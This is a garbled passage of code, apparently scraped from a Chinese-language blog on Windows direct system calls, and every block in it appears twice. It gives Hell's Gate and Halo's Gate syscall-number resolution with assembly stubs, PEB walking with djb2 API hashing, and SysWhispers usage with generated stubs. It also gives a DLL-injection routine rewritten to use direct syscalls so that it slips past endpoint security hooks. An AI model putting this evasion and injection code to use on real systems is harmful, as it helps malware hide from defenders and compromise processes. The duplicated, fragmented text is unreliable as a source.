)pFunctionAddress + 7 + idx * UP) == 0x00) {
BYTE
high = *((
PBYTE
)pFunctionAddress + 5 + idx * UP);
BYTE
low = *((
PBYTE
)pFunctionAddress + 4 + idx * UP);
pVxTableEntry->wSystemCall = (high << 8) | low + idx;
return
TRUE;
}
}
return
FALSE;
}
if
(*((
PBYTE
)pFunctionAddress + 3) == 0xe9) {
for
(
WORD
idx = 1; idx <= 500; idx++) {
// check neighboring syscall down
if
(*((
PBYTE
)pFunctionAddress + idx * DOWN) == 0x4c
&& *((
PBYTE
)pFunctionAddress + 1 + idx * DOWN) == 0x8b
&& *((
PBYTE
)pFunctionAddress + 2 + idx * DOWN) == 0xd1
&& *((
PBYTE
)pFunctionAddress + 3 + idx * DOWN) == 0xb8
&& *((
PBYTE
)pFunctionAddress + 6 + idx * DOWN) == 0x00
&& *((
PBYTE
)pFunctionAddress + 7 + idx * DOWN) == 0x00) {
BYTE
high = *((
PBYTE
)pFunctionAddress + 5 + idx * DOWN);
BYTE
low = *((
PBYTE
)pFunctionAddress + 4 + idx * DOWN);
pVxTableEntry->wSystemCall = (high << 8) | low - idx;
return
TRUE;
}
// check neighboring syscall up
if
(*((
PBYTE
)pFunctionAddress + idx * UP) == 0x4c
&& *((
PBYTE
)pFunctionAddress + 1 + idx * UP) == 0x8b
&& *((
PBYTE
)pFunctionAddress + 2 + idx * UP) == 0xd1
&& *((
PBYTE
)pFunctionAddress + 3 + idx * UP) == 0xb8
&& *((
PBYTE
)pFunctionAddress + 6 + idx * UP) == 0x00
&& *((
PBYTE
)pFunctionAddress + 7 + idx * UP) == 0x00) {
BYTE
high = *((
PBYTE
)pFunctionAddress + 5 + idx * UP);
BYTE
low = *((
PBYTE
)pFunctionAddress + 4 + idx * UP);
pVxTableEntry->wSystemCall = (high << 8) | low + idx;
return
TRUE;
}
}
return
FALSE;
}
; Hell's Gate
; Dynamic
system
call invocation
;
; by smelly__vx (@RtlMateusz) and am0nsec (@am0nsec)
.data
wSystemCall
DWORD
000h
.code
HellsGate PROC
nop
mov wSystemCall, 000h
nop
mov wSystemCall, ecx
nop
ret
HellsGate ENDP
HellDescent PROC
nop
mov rax, rcx
nop
mov r10, rax
nop
mov eax, wSystemCall
nop
syscall
ret
HellDescent ENDP
end
; Hell's Gate
; Dynamic
system
call invocation
;
; by smelly__vx (@RtlMateusz) and am0nsec (@am0nsec)
.data
wSystemCall
DWORD
000h
.code
HellsGate PROC
nop
mov wSystemCall, 000h
nop
mov wSystemCall, ecx
nop
ret
HellsGate ENDP
HellDescent PROC
nop
mov rax, rcx
nop
mov r10, rax
nop
mov eax, wSystemCall
nop
syscall
ret
HellDescent ENDP
end
int
GetSSN()
{
std::map<
int
, string> Nt_Table;
PBYTE
ImageBase;
PIMAGE_DOS_HEADER Dos = NULL;
PIMAGE_NT_HEADERS Nt = NULL;
PIMAGE_FILE_HEADER File = NULL;
PIMAGE_OPTIONAL_HEADER Optional = NULL;
PIMAGE_EXPORT_DIRECTORY ExportTable = NULL;
PPEB Peb = (PPEB)__readgsqword(0x60);
PLDR_MODULE pLoadModule;
// NTDLL
pLoadModule = (PLDR_MODULE)((
PBYTE
)Peb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
ImageBase = (
PBYTE
)pLoadModule->BaseAddress;
Dos = (PIMAGE_DOS_HEADER)ImageBase;
if
(Dos->e_magic != IMAGE_DOS_SIGNATURE)
return
1;
Nt = (PIMAGE_NT_HEADERS)((
PBYTE
)Dos + Dos->e_lfanew);
File = (PIMAGE_FILE_HEADER)(ImageBase + (Dos->e_lfanew +
sizeof
(
DWORD
)));
Optional = (PIMAGE_OPTIONAL_HEADER)((
PBYTE
)File +
sizeof
(IMAGE_FILE_HEADER));
ExportTable = (PIMAGE_EXPORT_DIRECTORY)(ImageBase + Optional->DataDirectory[0].VirtualAddress);
PDWORD pdwAddressOfFunctions = (PDWORD)((
PBYTE
)(ImageBase + ExportTable->AddressOfFunctions));
PDWORD pdwAddressOfNames = (PDWORD)((
PBYTE
)ImageBase + ExportTable->AddressOfNames);
PWORD
pwAddressOfNameOrdinales = (
PWORD
)((
PBYTE
)ImageBase + ExportTable->AddressOfNameOrdinals);
for
(
WORD
cx = 0; cx < ExportTable->NumberOfNames; cx++)
{
PCHAR
pczFunctionName = (
PCHAR
)((
PBYTE
)ImageBase + pdwAddressOfNames[cx]);
PVOID
pFunctionAddress = (
PBYTE
)ImageBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
if
(
strncmp
((
char
*)pczFunctionName,
"Zw"
,2) == 0) {
printf
(
"Function Name:%s\tFunction Address:%p\n"
, pczFunctionName, pFunctionAddress);
Nt_Table[(
int
)pFunctionAddress] = (string)pczFunctionName;
}
}
// 输出内核函数对应的系统调用号
int
index = 0;
for
(std::map<
int
, string>::iterator iter = Nt_Table.begin(); iter != Nt_Table.end(); ++iter) {
cout <<
"index:"
<< index <<
' '
<< iter->second << endl;
index += 1;
}
}
int
GetSSN()
{
std::map<
int
, string> Nt_Table;
PBYTE
ImageBase;
PIMAGE_DOS_HEADER Dos = NULL;
PIMAGE_NT_HEADERS Nt = NULL;
PIMAGE_FILE_HEADER File = NULL;
PIMAGE_OPTIONAL_HEADER Optional = NULL;
PIMAGE_EXPORT_DIRECTORY ExportTable = NULL;
PPEB Peb = (PPEB)__readgsqword(0x60);
PLDR_MODULE pLoadModule;
// NTDLL
pLoadModule = (PLDR_MODULE)((
PBYTE
)Peb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
ImageBase = (
PBYTE
)pLoadModule->BaseAddress;
Dos = (PIMAGE_DOS_HEADER)ImageBase;
if
(Dos->e_magic != IMAGE_DOS_SIGNATURE)
return
1;
Nt = (PIMAGE_NT_HEADERS)((
PBYTE
)Dos + Dos->e_lfanew);
File = (PIMAGE_FILE_HEADER)(ImageBase + (Dos->e_lfanew +
sizeof
(
DWORD
)));
Optional = (PIMAGE_OPTIONAL_HEADER)((
PBYTE
)File +
sizeof
(IMAGE_FILE_HEADER));
ExportTable = (PIMAGE_EXPORT_DIRECTORY)(ImageBase + Optional->DataDirectory[0].VirtualAddress);
PDWORD pdwAddressOfFunctions = (PDWORD)((
PBYTE
)(ImageBase + ExportTable->AddressOfFunctions));
PDWORD pdwAddressOfNames = (PDWORD)((
PBYTE
)ImageBase + ExportTable->AddressOfNames);
PWORD
pwAddressOfNameOrdinales = (
PWORD
)((
PBYTE
)ImageBase + ExportTable->AddressOfNameOrdinals);
for
(
WORD
cx = 0; cx < ExportTable->NumberOfNames; cx++)
{
PCHAR
pczFunctionName = (
PCHAR
)((
PBYTE
)ImageBase + pdwAddressOfNames[cx]);
PVOID
pFunctionAddress = (
PBYTE
)ImageBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
if
(
strncmp
((
char
*)pczFunctionName,
"Zw"
,2) == 0) {
printf
(
"Function Name:%s\tFunction Address:%p\n"
, pczFunctionName, pFunctionAddress);
Nt_Table[(
int
)pFunctionAddress] = (string)pczFunctionName;
}
}
// 输出内核函数对应的系统调用号
int
index = 0;
for
(std::map<
int
, string>::iterator iter = Nt_Table.begin(); iter != Nt_Table.end(); ++iter) {
cout <<
"index:"
<< index <<
' '
<< iter->second << endl;
index += 1;
}
}
#include <iostream>
#include <map>
#include <string>
#include <Windows.h>
// 哈希函数,用于计算API名称的哈希值
unsigned
long
djb2(
const
char
* str)
{
unsigned
long
hash = 5381;
int
c;
while
(c = *str++)
hash = ((hash << 5) + hash) + c;
// hash * 33 + c
return
hash;
}
// 修改后的GetSSN函数
int
GetSSN(unsigned
long
api_hash)
{
std::map<
int
, string> Nt_Table;
PBYTE
ImageBase;
PIMAGE_DOS_HEADER Dos = NULL;
PIMAGE_NT_HEADERS Nt = NULL;
PIMAGE_FILE_HEADER File = NULL;
PIMAGE_OPTIONAL_HEADER Optional = NULL;
PIMAGE_EXPORT_DIRECTORY ExportTable = NULL;
PPEB Peb = (PPEB)__readgsqword(0x60);
PLDR_MODULE pLoadModule;
// NTDLL
pLoadModule = (PLDR_MODULE)((
PBYTE
)Peb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
ImageBase = (
PBYTE
)pLoadModule->BaseAddress;
Dos = (PIMAGE_DOS_HEADER)ImageBase;
if
(Dos->e_magic != IMAGE_DOS_SIGNATURE)
return
-1;
// 返回-1表示错误
Nt = (PIMAGE_NT_HEADERS)((
PBYTE
)Dos + Dos->e_lfanew);
File = (PIMAGE_FILE_HEADER)(ImageBase + (Dos->e_lfanew +
sizeof
(
DWORD
)));
Optional = (PIMAGE_OPTIONAL_HEADER)((
PBYTE
)File +
sizeof
(IMAGE_FILE_HEADER));
ExportTable = (PIMAGE_EXPORT_DIRECTORY)(ImageBase + Optional->DataDirectory[0].VirtualAddress);
PDWORD pdwAddressOfFunctions = (PDWORD)((
PBYTE
)(ImageBase + ExportTable->AddressOfFunctions));
PDWORD pdwAddressOfNames = (PDWORD)((
PBYTE
)ImageBase + ExportTable->AddressOfNames);
PWORD
pwAddressOfNameOrdinales = (
PWORD
)((
PBYTE
)ImageBase + ExportTable->AddressOfNameOrdinals);
for
(
WORD
cx = 0; cx < ExportTable->NumberOfNames; cx++)
{
PCHAR
pczFunctionName = (
PCHAR
)((
PBYTE
)ImageBase + pdwAddressOfNames[cx]);
if
(djb2(pczFunctionName) == api_hash) {
// 找到匹配的API,返回其序号
return
pwAddressOfNameOrdinales[cx];
}
}
return
-1;
// 如果没有找到匹配的API,返回-1
}
int
main()
{
// 假设我们要查找的API名称的哈希值
// 最好直接hash硬编码
unsigned
long
api_hash = djb2(
"NtCreateFile"
);
int
syscall_number = GetSSN(api_hash);
if
(syscall_number != -1)
{
std::cout <<
"Found syscall number: "
<< syscall_number << std::endl;
}
else
{
std::cout <<
"API not found."
<< std::endl;
}
return
0;
}
#include <iostream>
#include <map>
#include <string>
#include <Windows.h>
// 哈希函数,用于计算API名称的哈希值
unsigned
long
djb2(
const
char
* str)
{
unsigned
long
hash = 5381;
int
c;
while
(c = *str++)
hash = ((hash << 5) + hash) + c;
// hash * 33 + c
return
hash;
}
// 修改后的GetSSN函数
int
GetSSN(unsigned
long
api_hash)
{
std::map<
int
, string> Nt_Table;
PBYTE
ImageBase;
PIMAGE_DOS_HEADER Dos = NULL;
PIMAGE_NT_HEADERS Nt = NULL;
PIMAGE_FILE_HEADER File = NULL;
PIMAGE_OPTIONAL_HEADER Optional = NULL;
PIMAGE_EXPORT_DIRECTORY ExportTable = NULL;
PPEB Peb = (PPEB)__readgsqword(0x60);
PLDR_MODULE pLoadModule;
// NTDLL
pLoadModule = (PLDR_MODULE)((
PBYTE
)Peb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
ImageBase = (
PBYTE
)pLoadModule->BaseAddress;
Dos = (PIMAGE_DOS_HEADER)ImageBase;
if
(Dos->e_magic != IMAGE_DOS_SIGNATURE)
return
-1;
// 返回-1表示错误
Nt = (PIMAGE_NT_HEADERS)((
PBYTE
)Dos + Dos->e_lfanew);
File = (PIMAGE_FILE_HEADER)(ImageBase + (Dos->e_lfanew +
sizeof
(
DWORD
)));
Optional = (PIMAGE_OPTIONAL_HEADER)((
PBYTE
)File +
sizeof
(IMAGE_FILE_HEADER));
ExportTable = (PIMAGE_EXPORT_DIRECTORY)(ImageBase + Optional->DataDirectory[0].VirtualAddress);
PDWORD pdwAddressOfFunctions = (PDWORD)((
PBYTE
)(ImageBase + ExportTable->AddressOfFunctions));
PDWORD pdwAddressOfNames = (PDWORD)((
PBYTE
)ImageBase + ExportTable->AddressOfNames);
PWORD
pwAddressOfNameOrdinales = (
PWORD
)((
PBYTE
)ImageBase + ExportTable->AddressOfNameOrdinals);
for
(
WORD
cx = 0; cx < ExportTable->NumberOfNames; cx++)
{
PCHAR
pczFunctionName = (
PCHAR
)((
PBYTE
)ImageBase + pdwAddressOfNames[cx]);
if
(djb2(pczFunctionName) == api_hash) {
// 找到匹配的API,返回其序号
return
pwAddressOfNameOrdinales[cx];
}
}
return
-1;
// 如果没有找到匹配的API,返回-1
}
int
main()
{
// 假设我们要查找的API名称的哈希值
// 最好直接hash硬编码
unsigned
long
api_hash = djb2(
"NtCreateFile"
);
int
syscall_number = GetSSN(api_hash);
if
(syscall_number != -1)
{
std::cout <<
"Found syscall number: "
<< syscall_number << std::endl;
}
else
{
std::cout <<
"API not found."
<< std::endl;
}
return
0;
}
> git clone https:
/
/
github.com
/
jthuraisamy
/
SysWhispers.git
> cd SysWhispers
> pip3 install
-
r .\requirements.txt
> py .\syswhispers.py
-
-
help
> git clone https:
/
/
github.com
/
jthuraisamy
/
SysWhispers.git
> cd SysWhispers
> pip3 install
-
r .\requirements.txt
> py .\syswhispers.py
-
-
help
# Export all functions with compatibility for all supported Windows versions (see example-output/).
py .\syswhispers.py
-
-
preset
all
-
o syscalls_all
# Export just the common functions with compatibility for Windows 7, 8, and 10.
py .\syswhispers.py
-
-
preset common
-
o syscalls_common
# Export NtProtectVirtualMemory and NtWriteVirtualMemory with compatibility for all versions.
py .\syswhispers.py
-
-
functions NtProtectVirtualMemory,NtWriteVirtualMemory
-
o syscalls_mem
# Export all functions with compatibility for Windows 7, 8, and 10.
py .\syswhispers.py
-
-
versions
7
,
8
,
10
-
o syscalls_78X
# Export all functions with compatibility for all supported Windows versions (see example-output/).
py .\syswhispers.py
-
-
preset
all
-
o syscalls_all
# Export just the common functions with compatibility for Windows 7, 8, and 10.
py .\syswhispers.py
-
-
preset common
-
o syscalls_common
# Export NtProtectVirtualMemory and NtWriteVirtualMemory with compatibility for all versions.
py .\syswhispers.py
-
-
functions NtProtectVirtualMemory,NtWriteVirtualMemory
-
o syscalls_mem
# Export all functions with compatibility for Windows 7, 8, and 10.
py .\syswhispers.py
-
-
versions
7
,
8
,
10
-
o syscalls_78X
py .\syswhispers.py
-
f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx
-
o syscalls
, , ,_
/
_ . , ,_ _ ,_ ,
_
/
_)__(_
/
__
/
_)__
/
_
/
_
/
/
(__
/
__
/
_)__
/
_)__(
/
__
/
(__
/
_)__
_
/
_
/
(
/
/
@Jackson_T,
2019
SysWhispers: Why call the kernel when you can whisper?
Complete! Files written to:
syscalls.asm
syscalls.h
py .\syswhispers.py
-
f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx
-
o syscalls
, , ,_
/
_ . , ,_ _ ,_ ,
_
/
_)__(_
/
__
/
_)__
/
_
/
_
/
/
(__
/
__
/
_)__
/
_)__(
/
__
/
(__
/
_)__
_
/
_
/
(
/
/
@Jackson_T,
2019
SysWhispers: Why call the kernel when you can whisper?
Complete! Files written to:
syscalls.asm
syscalls.h
#include <Windows.h>
void
InjectDll(
const
HANDLE
hProcess,
const
char
* dllPath)
{
LPVOID
lpBaseAddress = VirtualAllocEx(hProcess, NULL,
strlen
(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPVOID
lpStartAddress = GetProcAddress(GetModuleHandle(L
"kernel32.dll"
),
"LoadLibraryA"
);
WriteProcessMemory(hProcess, lpBaseAddress, dllPath,
strlen
(dllPath), nullptr);
CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}
#include <Windows.h>
void
InjectDll(
const
HANDLE
hProcess,
const
char
* dllPath)
{
LPVOID
lpBaseAddress = VirtualAllocEx(hProcess, NULL,
strlen
(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPVOID
lpStartAddress = GetProcAddress(GetModuleHandle(L
"kernel32.dll"
),
"LoadLibraryA"
);
WriteProcessMemory(hProcess, lpBaseAddress, dllPath,
strlen
(dllPath), nullptr);
CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}
#include <Windows.h>
#include "syscalls.h" // Import the generated header.
void
InjectDll(
const
HANDLE
hProcess,
const
char
* dllPath)
{
HANDLE
hThread = NULL;
LPVOID
lpAllocationStart = nullptr;
SIZE_T
szAllocationSize =
strlen
(dllPath);
LPVOID
lpStartAddress = GetProcAddress(GetModuleHandle(L
"kernel32.dll"
),
"LoadLibraryA"
);
NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (
PULONG
)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
NtWriteVirtualMemory(hProcess, lpAllocationStart, (
PVOID
)dllPath,
strlen
(dllPath), nullptr);
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}
#include <Windows.h>
#include "syscalls.h" // Import the generated header.
void
InjectDll(
const
HANDLE
hProcess,
const
char
* dllPath)
{
HANDLE
hThread = NULL;
LPVOID
lpAllocationStart = nullptr;
SIZE_T
szAllocationSize =
strlen
(dllPath);
LPVOID
lpStartAddress = GetProcAddress(GetModuleHandle(L
"kernel32.dll"
),
"LoadLibraryA"
);
NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (
PULONG
)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
NtWriteVirtualMemory(hProcess, lpAllocationStart, (
PVOID
)dllPath,
strlen
(dllPath), nullptr);
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}
EXTERN_C NTSTATUS NtCreateThreadEx(
OUT
PHANDLE
ThreadHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN
HANDLE
ProcessHandle,
IN
PVOID
StartRoutine,
IN
PVOID
Argument OPTIONAL,
IN
ULONG
CreateFlags,
IN
SIZE_T
ZeroBits,
IN
SIZE_T
StackSize,
IN
SIZE_T
MaximumStackSize,
IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL);
EXTERN_C NTSTATUS NtAllocateVirtualMemory(
IN
HANDLE
ProcessHandle,
IN OUT
PVOID
* BaseAddress,
IN
ULONG
ZeroBits,
IN OUT
PSIZE_T
RegionSize,
IN
ULONG
AllocationType,
IN
ULONG
Protect);
EXTERN_C NTSTATUS NtWriteVirtualMemory(
IN
HANDLE
ProcessHandle,
IN
PVOID
BaseAddress,
IN
PVOID
Buffer,
IN
SIZE_T
NumberOfBytesToWrite,
OUT
PSIZE_T
NumberOfBytesWritten OPTIONAL);
EXTERN_C NTSTATUS NtCreateThreadEx(
OUT
PHANDLE
ThreadHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN
HANDLE
ProcessHandle,
IN
PVOID
StartRoutine,
IN
PVOID
Argument OPTIONAL,
IN
ULONG
CreateFlags,
IN
SIZE_T
ZeroBits,
IN
SIZE_T
StackSize,
IN
SIZE_T
MaximumStackSize,
IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL);
EXTERN_C NTSTATUS NtAllocateVirtualMemory(
IN
HANDLE
ProcessHandle,
IN OUT
PVOID
* BaseAddress,
IN
ULONG
ZeroBits,
IN OUT
PSIZE_T
RegionSize,
IN
ULONG
AllocationType,
IN
ULONG
Protect);
EXTERN_C NTSTATUS NtWriteVirtualMemory(
IN
HANDLE
ProcessHandle,
IN
PVOID
BaseAddress,
IN
PVOID
Buffer,
IN
SIZE_T
NumberOfBytesToWrite,
OUT
PSIZE_T
NumberOfBytesWritten OPTIONAL);
NtAllocateVirtualMemory PROC
mov rax, gs:[60h] ; Load PEB into RAX.
NtAllocateVirtualMemory_Check_X_X_XXXX: ; Check major version.
cmp dword ptr [rax+118h], 5
je NtAllocateVirtualMemory_SystemCall_5_X_XXXX
cmp dword ptr [rax+118h], 6
je NtAllocateVirtualMemory_Check_6_X_XXXX
cmp dword ptr [rax+118h], 10
je NtAllocateVirtualMemory_Check_10_0_XXXX
jmp NtAllocateVirtualMemory_SystemCall_Unknown
.......
NtAllocateVirtualMemory_Check_10_0_XXXX: ; Check build number
for
Windows 10.
cmp word ptr [rax+120h], 10240
je NtAllocateVirtualMemory_SystemCall_10_0_10240
cmp word ptr [rax+120h], 10586
je NtAllocateVirtualMemory_SystemCall_10_0_10586
cmp word ptr [rax+120h], 14393
je NtAllocateVirtualMemory_SystemCall_10_0_14393
cmp word ptr [rax+120h], 15063
.........
cmp word ptr [rax+120h], 19043
je NtAllocateVirtualMemory_SystemCall_10_0_19043
jmp NtAllocateVirtualMemory_SystemCall_Unknown
NtAllocateVirtualMemory_SystemCall_5_X_XXXX: ; Windows XP and Server 2003
mov eax, 0015h
jmp NtAllocateVirtualMemory_Epilogue
........
NtAllocateVirtualMemory_SystemCall_10_0_19043: ; Windows 10.0.19043 (21H1)
mov eax, 0018h
jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_Unknown: ; Unknown/unsupported version.
ret
NtAllocateVirtualMemory_Epilogue:
mov r10, rcx
syscall
ret
NtAllocateVirtualMemory ENDP
NtAllocateVirtualMemory PROC
mov rax, gs:[60h] ; Load PEB into RAX.
NtAllocateVirtualMemory_Check_X_X_XXXX: ; Check major version.
cmp dword ptr [rax+118h], 5
je NtAllocateVirtualMemory_SystemCall_5_X_XXXX
cmp dword ptr [rax+118h], 6
je NtAllocateVirtualMemory_Check_6_X_XXXX
cmp dword ptr [rax+118h], 10
je NtAllocateVirtualMemory_Check_10_0_XXXX
jmp NtAllocateVirtualMemory_SystemCall_Unknown
.......
NtAllocateVirtualMemory_Check_10_0_XXXX: ; Check build number
for
Windows 10.
cmp word ptr [rax+120h], 10240
je NtAllocateVirtualMemory_SystemCall_10_0_10240
cmp word ptr [rax+120h], 10586
je NtAllocateVirtualMemory_SystemCall_10_0_10586
cmp word ptr [rax+120h], 14393
je NtAllocateVirtualMemory_SystemCall_10_0_14393
cmp word ptr [rax+120h], 15063
.........
cmp word ptr [rax+120h], 19043
je NtAllocateVirtualMemory_SystemCall_10_0_19043
jmp NtAllocateVirtualMemory_SystemCall_Unknown
NtAllocateVirtualMemory_SystemCall_5_X_XXXX: ; Windows XP and Server 2003
mov eax, 0015h
jmp NtAllocateVirtualMemory_Epilogue
........
NtAllocateVirtualMemory_SystemCall_10_0_19043: ; Windows 10.0.19043 (21H1)
mov eax, 0018h
jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_Unknown: ; Unknown/unsupported version.
ret
NtAllocateVirtualMemory_Epilogue:
mov r10, rcx
syscall
ret
NtAllocateVirtualMemory ENDP
py .\syswhispers.py
-
f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx
-
o syscalls
. ,
-
-
.
,
-
. . . ,
-
. . , , |
-
. o ,
-
. ,
-
. ,
-
. ,
-
. ,
-
.
/
`
-
. | | `
-
. |
/
|
/
| | | `
-
. | | |
-
' | `-. ,-'
`
-
' `-| `-'
' '
' '
' `-'
|
-
' `-'
' `-'
`
-
-
-
/
| | @Jackson_T
`
-
' '
@modexpblog,
2021
SysWhispers2: Why call the kernel when you can whisper?
Complete! Files written to:
syscalls.h
syscalls.c
syscallsstubs.std.x86.asm
syscallsstubs.rnd.x86.asm
syscallsstubs.std.x86.nasm
syscallsstubs.rnd.x86.nasm
syscallsstubs.std.x86.s
syscallsstubs.rnd.x86.s
syscallsinline.std.x86.h
syscallsinline.rnd.x86.h
syscallsstubs.std.x64.asm
syscallsstubs.rnd.x64.asm
syscallsstubs.std.x64.nasm
syscallsstubs.rnd.x64.nasm
syscallsstubs.std.x64.s
syscallsstubs.rnd.x64.s
syscallsinline.std.x64.h
syscallsinline.rnd.x64.h
py .\syswhispers.py
-
f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx
-
o syscalls
. ,
-
-
.
,
-
. . . ,
-
. . , , |
-
. o ,
-
. ,
-
. ,
-
. ,
-
. ,
-
.
/
`
-
. | | `
-
. |
/
|
/
| | | `
-
. | | |
-
' | `-. ,-'
`
-
' `-| `-'
' '
' '
' `-'
|
-
' `-'
' `-'
`
-
-
-
/
| | @Jackson_T
`
-
' '
@modexpblog,
2021
SysWhispers2: Why call the kernel when you can whisper?
Complete! Files written to:
syscalls.h
syscalls.c
syscallsstubs.std.x86.asm
syscallsstubs.rnd.x86.asm
syscallsstubs.std.x86.nasm
syscallsstubs.rnd.x86.nasm
syscallsstubs.std.x86.s
syscallsstubs.rnd.x86.s
syscallsinline.std.x86.h
syscallsinline.rnd.x86.h
syscallsstubs.std.x64.asm
syscallsstubs.rnd.x64.asm
syscallsstubs.std.x64.nasm
syscallsstubs.rnd.x64.nasm
syscallsstubs.std.x64.s